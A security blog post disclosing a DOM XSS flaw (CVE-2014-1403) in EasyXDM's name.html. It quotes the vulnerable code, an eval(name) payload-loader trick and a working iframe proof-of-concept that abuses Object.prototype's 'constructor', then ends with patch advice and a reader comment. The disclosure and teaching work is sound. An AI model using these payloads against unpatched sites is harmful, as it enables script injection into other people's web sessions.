tl;dr: window.name, DOM XSS & abusing Objects used as containers
What's in a name?
"What's in a name? That which we call a rose
By any other name would smell as sweet"
(Romeo & Juliet, Act II, Scene 2)
(Romeo & Juliet, Act II, Scene 2)
Since name is special for Same Origin Policy, it must have some evil usage, right? Right - the cutest one is that eval(name)is the shortest XSS payload loader so far:
- create a window/frame
- put the payload in it's name
- just load http://vuln/?xss="><script>eval(name)</script>.
Best men are moulded out of faults
"They say, best men are moulded out of faults;And, for the most, become much more the better
For being a little bad;"
(Measure for Measure, Act V, Scene 1)
I have looked at EasyXDM in the past (part 1, part 2), so I won't bore your with introducing the project. This time I've found a DOM XSS vulnerability that allows the attacker to execute arbitrary code in context of any website using EasyXDM <= 2.4.18. It's fixed in 2.4.19 and has a CVE-2014-1403 identifier. Unlike many other DOM XSSes (with oh-so-challenging location.href=location.hash.slice(1) ), exploiting this was both fun & tricky, hence this blog post.
Every EasyXDM installation has a name.html document which assists in setting up the cross-document channels. This is the main part of the code that executes when you load the document:
if (location.hash) { // DOM XSS source if (location.hash.substring(1, 2) === "_") { var channel, url, hash = location.href.substring(location.href.indexOf("#") + 3), indexOf = hash.indexOf(","); if (indexOf == -1) { channel = hash; } else { channel = hash.substring(0, indexOf); url = decodeURIComponent(hash.substring(indexOf + 1)); } switch (location.hash.substring(2, 3)) { case "2": // NameTransport local window.parent.parent.easyXDM.Fn.get(channel)(window.name); location.href = url + "#_4" + channel + ","; break; case "3": // NameTransport remote var guest = window.parent.frames["easyXDM_" + channel + "_provider"]; if (!guest) { throw new Error("unable to reference window"); } guest.easyXDM.Fn.get(channel)(window.name); // execute function, ignore results location.href = url + "#_4" + channel + ","; // DOM XSS sink break; case "4": // NameTransport idle var fn = window.parent.easyXDM.Fn.get(channel + "_load"); if (fn) { fn(); } break; } } }
So we have a DOM XSS flaw - content in location hash can reach location.href assignment. After quick debugging (exercise left to the reader) we can see that the payload would look somewhat like this:
name.html#_3channel,javascript:alert(document.domain)//
Sea of troubles
"To be, or not to be, that is the question—Whether 'tis Nobler in the mind to suffer
The Slings and Arrows of outrageous Fortune,
Or to take Arms against a Sea of troubles,
And by opposing end them"
(The Tragedy of Hamlet, Prince of Denmark, Act III, Scene 1)
var guest = window.parent.frames["easyXDM_" + channel + "_provider"]; guest.easyXDM.Fn.get(channel)(window.name);First statement: So we need to frame name.html. No problem, it's supposed to be framed anyway (it's not a bug, it's a feature!). Then we need a separate provider frame, and this frame needs to be in-domain with name.html and have an easyXDM.Fn object available. Luckily, easyXDM project has a lot of .html documents with easyXDM libraries initialized. Quickly looking at examples/ subdirectory we can pick e.g. example/bridge.html. So, we need something like this:
<iframe src=http://domain/name.html#payload ></iframe> <iframe name="easyXDM_channel_provider" src="http://domain/example/bridge.html"> </iframe>Second statement: guest.easyXDM.Fn.get(channel)(window.name). So, get() (loaded from bridge.html document) must return a function accepting a string. Let's look at what get() does:
var _map = {}; /** * @class easyXDM.Fn * This contains methods related to function handling, such as storing callbacks. * @singleton * @namespace easyXDM */ easyXDM.Fn = { /** * Retrieves the function referred to by the given name * @param {String} name The name of the function to retrieve * @param {Boolean} del If the function should be deleted after retrieval * @return {Function} The stored function * @namespace easyXDM.fn */ get: function(name, del){ var fn = _map[name]; if (del) { delete _map[name]; } return fn; } };Crap! It will return a function from some _map container, but that container is initially empty! So we're basically doing: {}[channel](window.name) - this will obviously fail quickly as {}[anything] returns undefined. And undefined is definitely not a Function. We can either try to find some other document or use more easyXDM magic that will fill the container before accessing it. Too much work. Let's use Javascript instead!
"I know a trick worth two of that"
(King Henry IV, Act II, Scene 1)
You see, empty object ({}) is not that empty. It inherits from it's prototype - Object.prototype:
You see, empty object ({}) is not that empty. It inherits from it's prototype - Object.prototype:
JS prototypical inheritance rulez! |
<iframe id=f></iframe> <iframe name="easyXDM_constructor_provider" src="http://easyxdm.net/current/example/bridge.html" onload="document.getElementById('f').src='http://easyxdm.net/current/name.html#_3constructor,javascript:alert(document.domain)//';"> </iframe>
All's well that ends well
"Of that and all the progress, more or less,Resolvedly more leisure shall express:
All yet seems well; and if it end so meet,
The bitter past, more welcome is the sweet."
(All's well that ends well, Act V, Scene 3)
The vulnerability was quickly reported and fixed in version 2.4.19. Do upgrade! Programmers, remember - don't use {} as data constructor without proper key validation (see Object.hasOwnProperty()). And in your documents don't connect sources with sinks!
Great writeup. I often see cb[cb_name](anydata) e.g. in facebook debug.js but it's not really exploitable, as your bug is 60 percent in location.hash assignment, which we don't get usually. Sometimes I see any_object.any_method(not_controlled) which is also interesting case
ReplyDelete